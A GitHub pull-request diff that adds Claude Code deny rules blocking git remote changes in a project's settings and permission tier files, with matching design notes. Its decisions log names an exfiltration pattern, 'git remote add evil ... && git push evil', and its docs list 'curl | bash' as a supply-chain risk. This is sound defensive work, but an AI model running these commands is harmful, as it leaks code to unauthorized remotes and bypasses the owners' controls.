Skip to content
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .claude/settings.json
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,8 @@
"deny": [
"Bash(gh secret *)", "Bash(gh auth *)", "Bash(gh ssh-key *)", "Bash(gh gpg-key *)",
"Bash(git clean *)", "Bash(git config *)",
"Bash(git remote add *)", "Bash(git remote set-url *)", "Bash(git remote remove *)",
"Bash(git remote rename *)", "Bash(git remote set-head *)",
Comment thread
coderabbitai[bot] marked this conversation as resolved.
Outdated
"Bash(uv self *)"
],
"ask": [
Expand Down
4 changes: 3 additions & 1 deletion .devcontainer/permissions/tier1-assisted.json
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,9 @@
"Bash(*gh pr merge *)",
"Bash(*gh workflow run *)", "Bash(*gh workflow enable *)", "Bash(*gh workflow disable *)",
"Bash(*gh issue create *)", "Bash(*gh issue close *)", "Bash(*gh issue edit *)",
"Bash(*terraform *)"
"Bash(*terraform *)",
"Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
"Bash(*git remote rename *)", "Bash(*git remote set-head *)"
]
},
"enabledPlugins": {
Expand Down
4 changes: 3 additions & 1 deletion .devcontainer/permissions/tier2-autonomous.json
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,9 @@
"Bash(*cargo install *)", "Bash(*go install *)", "Bash(*gem install *)",
"Bash(*uv tool install *)", "Bash(*uv tool *)",
"Bash(*apt install *)", "Bash(*apt-get install *)", "Bash(*dpkg -i *)",
"Bash(*snap install *)", "Bash(*brew install *)"
"Bash(*snap install *)", "Bash(*brew install *)",
"Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
"Bash(*git remote rename *)", "Bash(*git remote set-head *)"
]
},
"enabledPlugins": {
Expand Down
4 changes: 3 additions & 1 deletion .devcontainer/permissions/tier3-full-trust.json
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,9 @@
"Bash(*docker run --privileged *)",
"Bash(*docker run --cap-add=ALL *)",
"Bash(*docker run --pid=host *)",
"Bash(*docker run --network=host *)"
"Bash(*docker run --network=host *)",
"Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
"Bash(*git remote rename *)", "Bash(*git remote set-head *)"
]
},
"enabledPlugins": {
Expand Down
9 changes: 9 additions & 0 deletions docs/DECISIONS.md
Original file line number Diff line number Diff line change
Expand Up @@ -181,3 +181,12 @@ When a decision is superseded or obsolete, delete it (git history preserves the
- Delete `claude-code-review.yml` entirely -- the local code-reviewer agent provides the same review before PR creation, and the CI workflow required managing an `ANTHROPIC_API_KEY` secret in GitHub
- Keep `dangerous-actions-blocker.sh` `ANTHROPIC_API_KEY=` pattern unchanged -- it blocks secrets in commands generally, not CI-specific
- Keep `docs/IMPLEMENTATION_PLAN.md` unchanged -- historical record of completed work

## 2026-03-16: Git Remote Mutation Deny Rules

**Request**: Prevent code exfiltration by blocking `git remote add evil https://... && git push evil` attack pattern.

**Decisions**:
- Deny `git remote add`, `set-url`, `remove`, `rename`, `set-head` in settings.json and all tier files -- read-only `git remote -v` remains allowed via the existing `Bash(git remote *)` allow rule
- Deny rules are absolute in Claude Code (cannot be overridden by allow), making this the correct control layer vs hooks
- Tier files use wildcard prefix `Bash(*git remote add *)` to catch chained command variants
1 change: 1 addition & 0 deletions docs/DEVCONTAINER_PERMISSIONS.md
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,7 @@ Regardless of tier, these layers provide defense-in-depth:
| `docker run --privileged` | Use `docker run` without `--privileged` | Container escape vector |
| `curl ... \| bash` / `wget ... \| sh` | Do not pipe remote scripts. Add to Dockerfile instead. | Supply-chain attack vector |
| `cd path && command` | Use absolute paths: `command /absolute/path` | Chained commands bypass glob-based permission checks |
| `git remote add/set-url/remove/rename` | Ask the user to manage remotes | Prevents code exfiltration to unauthorized remotes |
Comment thread
coderabbitai[bot] marked this conversation as resolved.
Outdated

## Tier Comparison

Expand Down
Loading